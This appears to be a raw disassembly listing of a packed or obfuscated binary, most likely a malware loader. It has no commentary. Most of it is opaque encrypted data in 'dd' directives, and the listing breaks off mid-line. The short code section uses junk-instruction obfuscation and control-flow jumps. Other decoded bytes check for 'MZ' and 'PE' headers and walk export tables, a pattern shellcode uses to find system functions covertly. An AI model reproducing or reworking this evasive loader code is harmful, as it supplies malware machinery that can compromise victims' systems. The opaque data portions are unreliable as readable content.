0AE90000h, 8F000000h, 5F70E0B8h dd 92707DFEh, 8937FFFAh, 7140D85h, 852B5B06h, 6072151h dd 0F8E7C381h, 81662FC5h, 81279AF2h, 0FD35DF3h, 91B58B75h dd 81060727h, 734373C3h, 0FE92Eh, 9E260000h, 683F5E83h dd 73E9A133h, 0C58AB8C9h, 0AE85350h, 0B2000000h, 98BBF630h dd 249BCEB0h, 5D8D8985h, 5E060725h, 8B66078Fh, 1EF83D3h dd 3890Fh, 0E4800000h, 4F4F4FFFh, 1E981h, 850F0000h, 0FFFFFF89h dd 0F78B6651h, 83E958h, 51530000h, 8B575652h, 661C245Ch dd 5A4D3B81h, 68850Fh, 0B70F0000h, 0D8033C43h, 503B8166h dd 57850F45h, 8B000000h, 5C03785Bh, 738B1C24h, 24740324h dd 7B8B561Ch, 1C738B20h, 20247C03h, 20247403h, 0FFC983FCh dd 245C8B41h, 3178B1Ch, 83202454h, 28A04C7h, 874C084h dd 0E875033Ah, 0F2EB4243h, 0E075033Ah, 0FE1D15Fh, 8B0F04B7h dd 44038604h, 5E5F1C24h, 0C25B595Ah, 0C0330008h, 0FFFFF1E9h dd 0E8CA8BFFh, 12h, 9998BA1Eh, 4C1E57B5h, 8E7FE56Fh, 797AA610h dd 47BA22D3h, 5B5C8CAFh, 81D78B66h, 5A76C3h, 0D8B0F00h dd 60000000h, 1106EB81h, 88BB439Fh, 61382950h, 0BEh, 0C128B800h dd 34FF1DBEh, 8D0F1Eh, 59000000h, 0C181C28Bh, 2FF1DDD8h dd 81F9BF0Fh, 30CA0BF1h, 0D68B6629h, 0ACD6E981h, 9E95AEFh dd 69000000h, 8893F72Eh, 666597B3h, 0F330C89h, 6E9FFBFh dd 27000000h, 3B5EA79Ch, 0FEEE8133h, 0E82BE7AFh, 9, 9A2FCA9Dh dd 21E1800Ch, 58D08A7Dh, 0AFFAC681h, 8B662BE7h, 38FE81D1h dd 0FFFFFA6h, 0FFFF9185h, 0F55760FFh, 0FAE96158h, 12000000h dd 977FE18Fh, 838A055Ch, 1D76A188h, 0DD7A0E0Ah, 3733538Fh dd 557D2F6Dh, 7F2D773Dh, 7DD77DD5h, 6DF73D57h, 73D575DFh dd 3D577DD7h, 0D55FEDF7h, 37335375h, 557D2F6Dh, 7F2D773Dh dd 7DD77DD5h, 6D171E57h, 602075DFh, 20206020h, 2060E0E0h dd 0F77B68ACh, 20A1E4A9h, 0A693B2D0h, 0B99DB7EDh, 0ACA3F291h dd 60206020h, 20206020h, 2060E0E0h, 0A335375h, 557D2F0Dh dd 60206020h, 0A7286020h, 50F0362Bh, 0B6F360C9h, 0F796A1EFh dd 0E3A7B4E0h, 0F47192B8h, 6DB9E9B3h, 602060F7h, 60206020h dd 6DF72020h, 73351ADFh, 3D577DD7h, 0D55FEDF7h, 37335375h dd 557D2F6Dh, 7F2D773Dh, 7DD77DD5h, 6DF73D57h, 73D575DFh dd 3D577DD7h, 0D55FEDF7h, 37335375h, 357D2F6Dh, 0E0A1Eh dd 0D25D3407h, 1E59A0A3h, 5 dup(0) dd 0BFAE900h, 0DA680000h, 0E9060A99h, 0FFFCE3FEh, 0A9ADA68h dd 0E3F4E906h, 8268FFFCh, 0E9060A9Bh, 0FFFCE3EAh, 0A9C2A68h dd 0E3E0E906h, 0B968FFFCh, 0E9060A9Ch, 0FFFCE3D6h, 0A9D7268h dd 0E3CCE906h, 0DF68FFFCh, 0E9060A9Eh, 0FFFCE3C2h, 0A9FC768h dd 0E3B8E906h, 8168FFFCh, 0E9060AA0h, 0FFFCE3AEh, 0AA11C68h dd 0E3A4E906h, 0E268FFFCh, 0E9060AA1h, 0FFFCE39Ah, 3C1A41D6h dd 0D7B5A66Eh, 76540709h, 13F16AA8h, 0AD8BD045h, 987D5A12h dd 0FF17E5C3h, 63B07E5Ch, 0C54C1AF8h, 2E6B896h, 0D202997Bh dd 8C441E84h, 2AB8D14h, 0ED3084D2h, 0D04A50Ah, 6BAE9017h dd 73337EC7h, 5E0DBC9Fh, 967F3D3Bh, 0C57A2C5h, 0B20FEDFAh dd 0ACEB160h, 0CD2C4F0Ch, 0AD64BE05h, 60AC8AEh, 0AD343255h dd 7EC79CCBh, 785E0D50h, 0C79D0FF1h, 6E51947Eh, 33EB6EF8h dd 0B7DBC64Dh, 5DA078BFh, 401BF63Ah, 795BE25Ah, 0FE78C080h dd 0D988D33Eh, 5FB280F6h, 0F5CCD9FCh, 0B078C07Fh, 0A07D3A8h dd 6CA57351h, 8988CCEFh, 0E82EECD2h, 16D59073h, 0F5B3A90Eh dd 51183B20h, 0F467AA6Eh, 0C3BE490Eh, 0DEDA863h, 462932E1h dd 645E27D0h, 0F92DE48Fh, 54000004h, 7CCA0D04h, 7D7AA5EDh dd 0C5092CDBh, 0A9310F4Ch, 4E3427EBh, 0C7F0E5C7h, 44276A7Eh dd 9F855DC4h, 0C1014518h, 6487CA78h, 0F06BA866h, 0E1AA800Dh dd 8A3878C0h, 3F770E35h, 4F14E48Fh, 3B000000h, 4BD2D148h dd 7EC76B69h, 0AEF6CA7h, 0BA3218C7h, 6B6E8EF5h, 0B9589A90h dd 8310F3A2h, 78BFC5ACh, 0C5C3E629h, 25510A07h, 0FB886BF0h dd 78C06525h, 5A5217B3h, 0BE579B09h, 7A41D1B4h, 6EED28E6h dd 2A1844Bh, 0E4908283h, 0DC08h, 0D042F00h, 2EE72B4Eh dd 8C89472Dh, 2E5ACCFh, 4D0E0347h, 8668EF67h, 0A7EC76Bh dd 0C76BA183h, 0FEE3267Eh, 0D91DD8BBh, 0AE452338h, 7EC76EE7h dd 0EF6CA563h, 0EC9480Ch, 852DE97Ch, 5D3BEA02h, 0B6D9828Fh dd 957BA3B6h, 3D203BD7h, 0F4538BFh, 0C70A78C0h, 62E961E9h dd 78BFFF80h, 5FDFC205h, 0ED6EA7FAh, 0C493583Eh, 28A09DF2h dd 2CA42205h, 0F34B2DB4h, 8DD078BFh, 9DE01DAAh, 0DA1D72B5h dd 38B77CF4h, 644EB9DDh, 712EB093h, 7524C5C3h, 1447CE92h dd 0AEAD6836h, 0B038EE77h, 0B6B21317h, 8C3h, 442239DEh dd 0DFBD9E76h, 7E5CFF11h, 1BF962B0h, 0B593C84Dh, 9085521Ah dd 0F71FEDCBh, 5BB88664h, 0BD542200h, 0AEEC09Eh, 0D204A183h dd 0AD4C2684h, 6C4A1104h, 0AE8739Eh, 868C4A9Bh, 8EBB2D5h dd 63499188h, 0BF9B05DCh, 53C38178h, 65A82508h, 9E80077Fh dd 0DC78C03Bh, 38FF2239h, 722D1053h, 0C03B8F65h, 9811D78h dd 0C03BA082h, 0FFE22578h, 92F3086Fh, 0BCE48FE1h, 2EDBBD44h dd 0A06078C0h, 1C8EB70h, 0AE2E6F52h, 55000000h, 694BD24Ah dd 0EE7EC76Bh, 0D04C8ABh, 2EE72B4Eh, 36FD0A2Dh, 6C7EC76Fh dd 0AD8B6A5h, 0B06E5407h, 0D9097760h, 1AA2CFEAh, 9E81486Bh dd 0A87EE3E3h, 0B4483BC2h, 0CA0D78BFh, 6DF46CE4h, 78BFA48Bh dd 0F6D8CD10h, 7B78BFA3h, 55DF5538h, 0A93016CCh, 72B54975h dd 199177BAh, 0B5FAB092h, 0FF23572h, 1942D391h, 0B3A86D3Bh dd 0B004F37Ch, 0B1AD0E17h, 7C3h, 442239DEh, 0DFBD9E76h dd 7E5CFF11h, 1BF962B0h, 0B593C84Dh, 9085521Ah, 0F71FEDCBh dd 5BB88664h, 0BD542200h, 0AEEC09Eh, 0D205A183h, 0AD4C2684h dd 6C4A1104h, 0AE8739Eh, 4E0D049Bh, 312AE72Bh, 596C7453h dd 0AD341AC0h, 78BF96CAh, 6C4ED54Fh, 0F178C03Fh, 9C0FFFAEh dd 79F7B3DCh, 0F5DB0316h, 0CB14F67Dh, 569979F7h, 636EF573h dd 6873EFF9h, 3F040225h, 0CC1707F6h, 0CE4E3125h, 26AD934Bh dd 6DE6AE71h, 0D856BAEh, 0A4777D48h, 4E77086h, 80DD140h dd 0BA693053h, 58030EDCh, 7F245821h, 4C48A91Ch, 71Bh, 0ECCA9186h dd 8765F61Eh, 260457B9h, 0C3A1BA58h, 5D3B20F5h, 0E82DAAC2h dd 4FC79573h, 0B3602E0Ch, 15FCCAA8h, 0B2966846h, 0D206492Bh dd 55F4CE84h, 3FD10D04h, 8332F91Ch, 21F96060h, 8871B43Bh dd 3DB578BFh, 0C048D4B6h, 0BA925978h, 108B7B39h, 0D14E31E0h dd 3326B08Eh, 0E67E05EBh, 0E372B4B2h, 15FCBAA0h, 779A6846h dd 58C1C1E4h, 96159C82h, 536CAA1Ch, 0A96C2A10h, 0D951CFB2h dd 4366F51Bh, 3E4B497Ch, 49BCFC98h, 0EC6FA266h, 8AD1400Eh dd 2CF26767h, 0AC8CBF46h, 8ED166A2h, 0C2826C57h, 7874D523h dd 673h, 9472E92Eh, 2F0D4EC6h, 0CEACAF61h, 6B491200h, 5E3789Dh dd 40D5026Ah, 0A76F3D1Bh, 0B08D6B4h, 6DA47250h, 5A3E10EEh dd 0D206F1D3h, 0FD9C7684h, 2309D148h, 123EDABh, 0C76B987Ah dd 2BDA1D7Eh, 374BB48h, 0AEF178BCh, 55060AC8h, 0D13F6B32h dd 0B129A78Ah, 6C8DFDECh, 17430C22h, 0B77B5EFDh, 5523015Ah dd 7C7C9FBCh, 0D0573DE5h, 72B5248Dh, 5DFE13D1h, 3D1EF63Ah dd 79C65B8Eh, 0D7CB721Fh, 0FD3477F4h, 17AFB7D0h, 0E4141071h dd 0BD000005h, 5523015Ah, 0F0BE9CBFh, 8F5D3B20h, 2CFAD883h dd 0F99472E9h, 0AAB16473h, 4318FECCh, 0DF7C9765h, 7DDE3301h dd 62E9CD9Fh, 84D20780h, 4A8C2B05h, 0B0D3888Ch, 938606E9h dd 6FA7654Bh, 77E9EA68h, 0FAA99144h, 0AF2D10D7h, 0BC349028h dd 0FAC68D78h, 0D6E61BE8h, 5E0D4EC6h, 60BC9AFh, 68A97755h dd 98BBA076h, 0FFFF22D1h, 57DEC41Ah, 72B14ED8h, 0F46C5295h dd 0B2208B6Dh, 9ACD1072h, 5060D881h, 0D452354Ah, 0A229FB16h dd 72B251C0h, 951C0245h, 72B251B3h, 6846F538h, 0C1E4779Ah dd 4B1005C3h, 0A971E868h, 67093CC3h, 0B4E6CAAh, 0BAC703D4h dd 0E1DD3E1Dh, 52Bh, 0DCBAA176h, 7755060Eh, 16F467A9h dd 0B391CA48h, 4D2B30E5h, 0F81DBAB2h, 5FB78563h, 0C3501EFCh dd 25ECBA98h, 0A2865836h, 0D208391Bh, 45E4BE84h, 2B4E0D04h dd 53312AE7h, 52090DCBh, 585682Fh, 59E0C61Ch, 78C07B86h dd 79FA450Ah, 7EBB17h, 775DA01Dh, 9A9678FFh, 0A11B78BFh dd 0BF9A381Ah, 0CB7ABD78h, 4A202DE8h, 0D878BF9Ah, 0D7AE552Ah dd 0B4E49086h, 5Fh, 868C4ADBh, 0A86EB2D5h, 1AC990B3h, 7CA2B737h dd 9B380F96h, 3BB578BFh, 0C03AD2B4h, 56DD5778h, 78C03B74h dd 0DB07B6F9h, 37FE213Ah, 82586588h, 1078C03Bh, 0FD84FC74h dd 78C03B1Bh, 86685DA0h, 0C478C03Bh, 23EA0D4Eh, 8818FB3Eh dd 0E1790C33h, 0F012E48Fh, 20000000h, 84A7B462h, 475DABDh dd 0A3684E0Dh, 69B350D2h, 702B0EDCh, 4F72E92Ch, 0D8839351h dd 7BE031F5h, 0E1FD1458h, 0C1052833h, 0AE5D0C4Fh, 54070AC8h dd 0FD846A31h, 7EC7CF1Bh, 47A5DA0h, 0C7D3A66Dh, 0A235DC7Eh dd 551DC944h, 250BBA07h, 2442F60h, 0C3A62D43h, 0C64DC54Dh dd 7EC7F8E4h, 7F432669h, 0A6A6C992h, 0D856BB3h, 0B699C24Fh dd 0C021AE29h, 52307378h, 0A38951C8h, 0B67E701Ch, 1BF5B572h dd 8A727FBCh, 31E05A85h, 37DE9C82h, 9D784624h, 2A1A87BEh dd 86E717AFh, 3BE8Ah, 2734E300h, 0C2997B49h, 61FA16E4h dd 0FE5DB583h, 98C35220h, 8A4D1FBAh, 24F2D08Bh, 0BD8B69F2h dd 59270556h, 0F3C5A3B8h, 9A6880Fh, 512B84D2h, 4A1104B2h dd 0ED6EA664h, 0AA2003CAh, 402635DCh, 6B5F41C8h, 5CE37EC7h dd 7EC76B7Ah, 94D7BCFFh, 48CC3BB1h, 9C2309D1h, 78BF9BC5h dd 0C8938242h, 71F8DEA5h, 78C03B8Fh, 0FF22D114h, 0C03B1CF2h dd 87FCAA78h, 8FE20580h, 0F28449E4h, 0A33B8F3Ah dd 0A24C8D70h, 73000000h, 684E0D04h, 0CCEF6CAAh, 69672205h dd 6B886AF1h, 850C7EC7h, 7EC76BA3h, 0BD00E528h, 5CFF16DAh dd 6F652C39h, 769B7EC7h, 0D341FFE5h, 0A655060Bh, 927F4DC3h dd 0B3A6A6C9h, 83FE856Bh, 4878BF8Fh, 849D2705h, 0ECF1785Eh dd 0E972B5E5h, 1302C0A6h, 799C6A48h, 6900ABE2h, 0A00117AFh dd 2D6A4h, 0F4CCB00h, 0AAB16331h, 4912FECCh, 0E6759D6Bh dd 80DB3A08h, 726507A2h, 0CDAB8A3h, 0A573510Ah, 410FED6Eh dd 0DBAD8BD0h, 0A8E70F7h, 391384D2h, 4A11049Ah, 0E8739E6Ch dd 4FC4820Ah, 3F22E90Ch, 0CA0D04DAh, 9E213DC0h, 2548F76Ch dd 4D2B30E1h, 6A4C00C5h, 0D006F325h, 0D10444A1h, 4D30FC77h dd 9C616A78h, 43B14BD0h, 0C14124DEh, 159C8258h, 78BFE132h dd 118474B7h, 148B01D3h, 0E8CE140Dh, 84265A61h, 0F11457CEh dd 7FDC35F3h, 0DD051C9Ch, 7CBB70F7h, 0B5F8C879h, 0DE0011CFh dd 97752437h, 9BC0510Fh, 7AE13478h, 0FEE19057h, 4D84D73Ah dd 0C1EC7B68h, 1C3C3899h, 85000002h, 1DEBC992h, 0B88664F7h dd 57250358h, 0F4C2A0BBh, 0C15C3A21h, 72E92CABh, 0B50C694h dd 0A7B45F2Dh, 4516FBC9h, 2AB19567h, 84D20B48h, 454F3CDh dd 2B2B4E0Dh, 920AF036h, 6BB1931Ah, 0F3367EC7h, 87748310h dd 2E7178BFh, 62637150h, 0BA4127FFh, 72B87BD7h, 7533195Ch dd 52DABD9Eh, 2A9505DFh, 4C928716h, 0E2D4DF66h, 96D9B022h dd 0B4EE7373h, 33CC482Dh, 983F726Eh, 0FE376924h, 149B8130h dd 0AA19825Fh, 0B573599Ch, 5321FF5Ch, 59669DBEh, 0A8E04C75h dd 1814B47h, 0F7200000h, 5CB88664h, 0BD5321FFh, 20F2C09Eh dd 868F5D3Bh, 105CF7D5h, 2F0D4EC7h, 0C8A6B561h, 644219FAh dd 2E07B96h, 0E3C54C30h, 6884D20Bh, 0D04EF8Eh, 682D2B4Eh dd 8BFEA263h, 5FB2DE8Ah, 2F12D9FCh, 8E74AAAFh, 0C09F4807h dd 64428578h, 64F71EDCh, 0C2977A41h, 77AFB213h, 0BB270A91h dd 0E5AC72B8h, 3FD5DB6Dh, 0FF32F91Ch, 0A2518E3Ch, 6FBD3FB2h dd 0C38119C5h, 24EB0E4Dh, 8258C141h, 0C70A159Ch, 960EB3BDh dd 0BE672D0Fh, 0B1AA6BB3h, 9FE2C78Eh, 99BC9F73h, 2F72EFD2h dd 0C1500E0Ch, 2237B79Ah, 0DA8F16FCh, 17ADB3E4h, 0E130EED4h dd 3CD6947Ah, 5235FC1Fh, 58030EDCh, 0B213E821h, 0FCF859DCh dd 0BBh, 4C2A31E6h, 0E7C5967Eh, 8664F719h, 23015AB8h, 0BD9BC055h dd 888D4A22h, 0EF27F5D3h, 53C08E6Ch, 0B55C2A08h, 12F6C8A6h dd 0D20CA98Bh, 0B5542E84h, 2B4E0D04h, 9F73362Bh, 0A0270DBCh dd 78BF977Dh, 0D7613F82h, 3EB69C42h, 0C94B9380h, 5EB7E392h dd 3013DAFDh, 0B4D920A3h, 7FA2E572h, 0D08D63Bh, 0B5642B4Eh dd 530809D7h, 0D4EC2330h, 0FFC7D8C9h, 53DFA4B8h, 259BB44h dd 870622CFh, 2A31E0A4h, 0C8937E4Ch, 1E36AE2h, 86F8CB0Eh dd 0B4CC1043h, 0B99C54A5h, 3BD71BD6h, 83F1FD20h, 0A76A283Ch dd 40DD1B4h, 0D4AC7157h, 57D8150Ah, 0F6C43A1Dh, 211D401Bh dd 3, 41520BEh, 0E1254813h, 0C4082B30h, 0A5E90C4Fh, 83C7EA71h dd 62A6C992h, 4185A8B3h, 23678AD1h, 74B6EEDh, 2A2B4E0Dh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], edx push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], ecx push 60A97D2h mov edx, [esp] add esp, 4 push 43DAh mov [esp], esp add dword ptr [esp], 4 pop ecx push edi mov edi, edx push edx mov edx, 8 add edx, ecx mov [edx], edi pop edx pop edi push dword ptr [esp] pop ecx add esp, 4 mov edx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_4FF07A ; --------------------------------------------------------------------------- dw 44A5h dd 0A95526E3h, 59532F6h, 0F2366F07h, 0AA2C2B8h, 0FFC50306h dd 5F4B1AE0h, 0D8276055h, 0D6AAF33Ch, 0C566437h, 7010F56Bh dd 0FF649C5Dh, 13A02D19h, 32D7774Bh, 59C5FB53h, 2C3A7007h dd 88E9600Dh, 4DB0E934h, 2898CC68h, 96F727Fh, 0C7054A05h dd 0CFC71076h, 610B6273h, 0CB736C1Eh, 60BA4700h, 14E87Dh dd 83C50000h, 0A6E1BFCFh, 5F9860F9h, 0C9BD1E56h, 9BD78A12h dd 0B70F75FFh, 810F5BD3h, 0 aBUq db 'q',0 align 2 dw 0EE9h dd 0C0000000h, 8BF7161Fh, 91FE2BC4h, 423CC1B0h, 0B92Dh dd 0D38B0000h, 8B0B3C8Bh, 1DF781F1h, 0E9292E64h, 8, 8ECAD25Bh dd 0E575A6B5h, 0BDCDEF81h, 0E3B45ADFh, 0C8CF781h, 0C5BA29E9h dd 57543783h, 6830Fh, 840F0000h, 0 dd 0FC0B048Fh, 2DFBE981h, 81F80DCFh, 0CF2DF7C1h, 0ACF9810Dh dd 0FFFFF8Eh, 0FFFFAB85h, 148E9FFh, 500000h, 540000h, 580000h dd 5C0000h, 600000h, 640000h, 680000h, 6C0000h, 0B00000h dd 0B40000h, 0B80000h, 0BC0000h, 0C00000h, 0C40000h, 0C80000h dd 0CC0000h, 0D00000h, 0D40000h, 0D80000h, 0DC0000h, 0E00000h dd 0E40000h, 0E80000h, 0EC0000h, 38h dup(0) dd 19BE0000h, 50EB0053h, 858D009Ch, 60AA450h, 25E58589h dd 85890607h, 60AA590h, 8BC68B60h, 70A318Dh, 85C66106h dd 6072C05h, 0CE854h, 8F0C0000h, 2A227F29h, 5548FD3Ch dd 0BD8B659Bh, 60726E5h, 4E85Fh, 68290000h, 5CBBEE62h dd 5054C380h, 424448Bh, 0D18B5250h, 0CE9310Fh, 5B000000h dd 4ED891D6h, 7A52213Ch, 5A6D024Dh, 50008B58h, 5F5B5051h dd 24448959h, 7C7EBB04h, 66585BD3h, 0FFB909BBh, 731ADB5h dd 1F858D06h, 8B060A7Bh, 71DEDB5h, 66D0FF06h, 3CD1CB81h dd 0A5948589h, 0BD89060Ah, 60705A5h, 4EE9h, 0BE900h, 0CF6A0000h dd 0EE5ED03Ch, 95842E24h, 0B58B56E7h, 60AA590h, 85830689h dd 60AA590h, 60C35E04h, 0A450B58Dh, 0FEB060Ah, 0FF006A56h dd 9495FF36h, 5E060AA5h, 8304C683h, 0EC75003Eh, 0FF5C361h dd 680h, 319D8B00h, 8D06070Eh, 0AA66185h, 0C1B58B06h, 89060711h dd 72C9985h, 39EB06h, 0CC00BC00h, 0E400BC02h, 0BC02h, 9A000000h dd 307CFC1Dh, 0D24DE511h, 0AA19F419h, 8374FF1Dh, 1B75F55Ah dd 0FF4DDF74h, 9319DD38h, 8B69DE00h, 571C51Ah, 0BB7DF011h dd 8B19FB14h, 0EE19929Ch, 0B447B174h, 9F6D182Ah, 0F95D1070h dd 0EE198A70h, 0B44FD774h, 2268E5DCh, 0A5572D58h, 0EE1F187Bh dd 0CA189174h, 0BD1E82D5h, 637F51FFh, 539AB9BFh, 711E9E81h dd 3810E474h, 0DA2990C9h, 0F76D9172h, 0B792C224h, 0BB1D28CCh dd 89C1874h, 631F967Dh, 7EB536E9h, 0E0CA6E72h, 0DCA4122Ch dd 0EE1F9644h, 24498600h, 0BB1D28CCh, 89C1874h, 631F967Dh dd 7EB007E9h, 0E0CA6E72h, 389C182Ch, 841F967Bh, 74F1C274h dd 9B199174h, 5442522Fh, 6F1DB528h, 6C1DB530h, 0F8199174h dd 96C95227h, 22B1D0C3h, 0B7922917h, 534F911Eh, 0DD199177h dd 0B0DACF54h, 733DE5FDh, 0BF3DD5F5h, 0DD199169h, 9ADAC732h dd 2AA0250Ch, 2755F491h, 0B88418AEh, 281F9678h, 703594F1h dd 0BB73C772h, 0DD1A7921h, 0B3399174h, 1B90CCB7h, 0FF989550h dd 0DD049550h, 0BB5C9174h, 0B6D5D7B7h, 24B0DDF4h, 35FBD4E2h dd 0EE199170h, 0EBB12926h, 0DB49CE22h, 239338C7h, 0CA5D1A15h dd 771F7970h, 0BBC59174h, 7271BABAh, 654762FEh, 0C3A6F774h dd 9F5D18BCh, 851B2470h, 5BE643C1h, 711EA0D9h, 534F911Eh dd 0DD199177h, 0B0DACF54h, 733DE5FDh, 0BF3DD5F5h, 0DD199163h dd 51DAC732h, 1173AC17h, 36F199CEh, 0D7628EF1h, 0BD19FB72h dd 7719929Ch, 7842B174h, 0F945182Fh, 0CA5D1070h, 77198570h dd 784AD274h, 9AEB2899h, 0E1EC943Fh, 77198BF4h, 0BB0B7974h dd 2FB79174h, 12492247h, 0FA690F61h, 0B611075Ch, 0E233668Bh dd 1140AEC6h, 2619FBA4h, 0BB19929Ch, 1E40B174h, 0CA55182Dh dd 535D1070h, 0BB198770h, 1E48D074h, 84AF9692h, 77157970h dd 86209174h, 3768D60Ch, 0C39F70EBh, 1F46697Dh, 0EB234742h dd 0EB3DA5F5h, 6749ABB2h, 701E50F9h, 0BB1D7972h, 0DFF59174h dd 88799174h, 9FCC89CDh, 0BB199160h, 2027F4ABh, 80643536h dd 5DF7FDAFh, 33984DA4h, 587335B5h, 8F43CB26h, 77147924h dd 0BA559174h, 0A3F1BA3Ah, 11B5F896h, 26127D68h, 0E14046FFh dd 0D93DD5FFh, 169291FFh, 733DD5FDh, 0BB1C117Bh, 7BA09174h dd 0B64C05BBh, 1D19FB88h, 0B8F1C274h, 0FD199174h, 6742522Fh dd 0F61DB528h, 0A61DB530h, 9E199174h, 0EE355227h, 1184098Ah dd 4660ADB2h, 0DD19829Dh, 0D595E74h, 8EB679B6h, 0D949889Bh dd 0AEC3CE58h, 67CE9904h, 7773418Bh, 0BB1A7921h, 80399174h dd 8290CCB7h, 33989550h, 0BB039550h, 885C9174h, 2F2042B7h dd 1087B31Fh, 1DB814FDh, 0DD73977Eh, 0EE1A7921h, 2A399174h dd 0D790CCB7h, 99989550h, 0EE0D9550h, 225C9174h, 47F09B7h dd 0D279A302h, 0EE1995F3h, 0C9A1F774h, 0B99F9E07h, 57199174h dd 1692F0ADh, 771B5D71h, 1E9C1874h, 5E1F9BD2h, 6B9089B4h dd 711337DDh, 57A05147h, 2E199176h, 0FBAC1ADEh, 0B11F966Ah dd 0BC3594F1h, 0D3AFD272h, 0B2100C1Ch, 0F626200Dh, 0DAD8B570h dd 3298B27Fh, 0CA9F0B49h, 88D3267Bh, 0BC283CC1h, 8C19FB72h dd 0EE19929Ch, 0B440B174h, 9F55182Dh, 0F95D1070h, 0EE198D70h dd 0B448D074h, 0AE4C6B31h, 4EA8F689h, 0DF9CB8F6h, 0FA1F967Ah dd 0B1628EF1h, 8819FB72h, 0EE19929Ch, 0B444B174h, 9F751829h dd 0F95D1070h, 0EE198D70h, 0B44CD474h, 63E8B20Eh, 281D215Ah dd 0A394A048h, 0FD1F965Ah, 0DAAC1ABAh, 221F9646h, 0BD19FBA4h dd 7719929Ch, 7842B174h, 0F945182Fh, 0CA5D1070h, 77198670h dd 784AD274h, 9A3F64E2h, 81FF1012h, 529C1832h, 41F9659h dd 84039019h, 0C0A414F9h, 0FA929773h, 0BD1E8BC1h, 0D9D814FDh dd 59169773h, 729C578Fh, 0E81F9658h, 3548911Eh, 0EE199177h dd 2EDAC854h, 0BF3DDDFDh, 0D93DD5F5h, 0EE199168h, 79DAC035h dd 0A89CBF73h, 0B02658B4h, 0DE102CFFh, 6A719773h, 0DDC62762h dd 0D99866FFh, 152B2A50h, 2219FB68h, 0BB19929Ch, 1E44B174h dd 0CA751829h, 535D1070h, 0BB198670h, 1E4CD474h, 42C59CCBh dd 46B4248Bh, 0BB739773h, 0DD1A7927h, 0B5399174h, 2B90CAB7h dd 0FF989550h, 0DD049550h, 0BD5A9174h, 50895DB7h, 90B353F1h dd 561793C0h, 0F19C1CA7h, 0FE1F9B0Fh, 0BC39BCE9h, 56C96E72h dd 0E928ECC1h, 729C9072h, 321F9674h, 0DA0F24F1h, 73262E72h dd 0F2DFED0Ah, 0BD1EBD71h, 35E21A27h, 0EE199170h, 0AF0155C7h dd 3078F124h, 8B1DB530h, 0EE1C117Bh, 0C8A79174h, 0E42D5AEAh dd 0D1F191FFh, 3A199174h, 45930E59h, 18173FB5h, 0BBD3432Fh dd 67466AFFh, 2F1DB530h, 0BB1F157Bh, 60329174h, 0E81EB761h dd 46B4248Bh, 0BB739773h, 0DD1A7921h, 0B3399174h, 1B90CCB7h dd 0FF989550h, 0DD039550h, 0BB5C9174h, 73D341B7h, 5E120C33h dd 0A60614F9h, 6390977Eh, 711E83DDh, 0BB1F1A7Bh, 60929174h dd 0E81E9B05h, 65F0418Bh, 199174h, 210CDBCDh, 0F9B6D71Ch dd 6BB91D04h, 12AB05CBh, 0E09C18C1h, 841F9670h, 74F1C474h dd 9B199174h, 54445229h, 6F1DB518h, 6A1DB530h, 0FE199174h dd 0EFFF5221h, 0E7016DD1h, 3C639949h, 32CF1A12h, 0DA1D4CE9h dd 0EB9C5772h, 301F9658h, 0B29804FFh, 603A9773h, 0E81EBAF5h dd 0FE38D51Ch, 0FA102BADh, 0E998FD54h, 0B9E57C50h, 2619FB1Ah dd 0BB19929Ch, 1E40B174h, 0CA55182Dh, 535D1070h, 0BB198C70h dd 1E48D074h, 3393311Eh, 4BBCE3BDh, 416ABB2h, 70AC6EA4h dd 841F9645h, 74F1C074h, 9B199174h, 5440522Dh, 6F1DB538h dd 6F1DB530h, 0FA199174h, 0C5465225h, 63663266h, 7D628EF1h dd 0EA19FB72h, 0DD19929Ch, 2D40B174h, 5355182Dh, 9F5D1070h dd 0DD198C70h, 2D48D074h, 97CD5D3Fh, 71819488h, 489292A8h dd 0E81E8B89h, 0F290418Bh, 0BD1E8709h, 3548911Eh, 0EE199177h dd 2EDAC854h, 0BF3DDDFDh, 0D93DD5F5h, 0EE199163h, 3DAC035h dd 92DDE624h, 0DA2850C9h, 0EB9C5772h, 301F9658h, 0CDEDF98Dh dd 0D279B9C8h, 0EE1982F6h, 77177874h, 0F1589174h, 4ABA7BF9h dd 8A563121h, 0D468AFE5h, 9F1D1015h, 840608F2h, 0E3B014FDh dd 0C2E69773h, 0BD1EA0D9h, 3548911Eh, 0EE199177h, 2EDAC854h dd 0BF3DDDFDh, 0D93DD5F5h, 0EE19916Fh, 0DCDAC035h, 0D1BBC70Fh dd 0D2001CE7h, 0EE1997F4h, 76849874h, 361F9656h, 0D7628EF1h dd 1B941872h, 881F9651h, 49AE9EA4h, 0ED2414FDh dd 53929773h, 711E9045h, 971C14B2h, 0B75E9773h, 0EDF1C474h dd 57199174h, 32445229h, 5C1DB518h, 0FB1DB530h, 32199174h dd 1A235221h, 0DD1D137Bh, 517F9174h, 0AB715C71h, 0DD4D7BF1h dd 5C5356CDh, 5898B570h, 0CA90C496h, 0BD1EBD99h, 0ECB4248Bh dd 0EE739773h, 771A7927h, 0E0399174h, 8190CAB7h, 0AA989550h dd 77009550h, 0E85A9174h, 0BE045B7h, 639D3FE3h, 7D628EF1h dd 4D98F772h, 0DE6316Eh, 649911Eh, 77199177h, 0E3DAC954h dd 0D93DD5FDh, 0EA3DD5F5h, 77199160h, 51DAC134h, 0D89F9E14h dd 88199174h, 4D0A42F5h, 32784FFEh, 0DA28F8F1h, 0EE979E72h dd 88199174h, 0EE19FBA4h, 0DD19929Ch, 2D44B174h, 53751829h dd 9F5D1070h, 0DD198B70h, 2D4CD474h, 32BA312Dh, 328FC199h dd 0DA15B0F1h, 0EE1F7972h, 32C39174h, 3702BDCAh, 48C1A14h dd 641F9658h, 1146F0B1h, 0BB7349F8h, 0DD1A7923h, 0B1399174h dd 0B90CEB7h, 0FF989550h, 0DD019550h, 0B95E9174h, 1BFA3BB7h dd 0BA79B042h, 0DA3708F9h, 70A7F772h, 733DF0DBh, 0B1202CFFh dd 1D139773h, 0ED91157Bh, 0E2309174h, 0BD1E9CB5h, 0F11C14B2h dd 84569773h, 74F1C274h, 9B199174h, 5442522Fh, 6F1DB528h dd 6D1DB530h, 0F8199174h, 0A6995227h, 5D061261h, 0A098F768h dd 2E920FF3h, 0DB1EB779h, 0EE19959Ch, 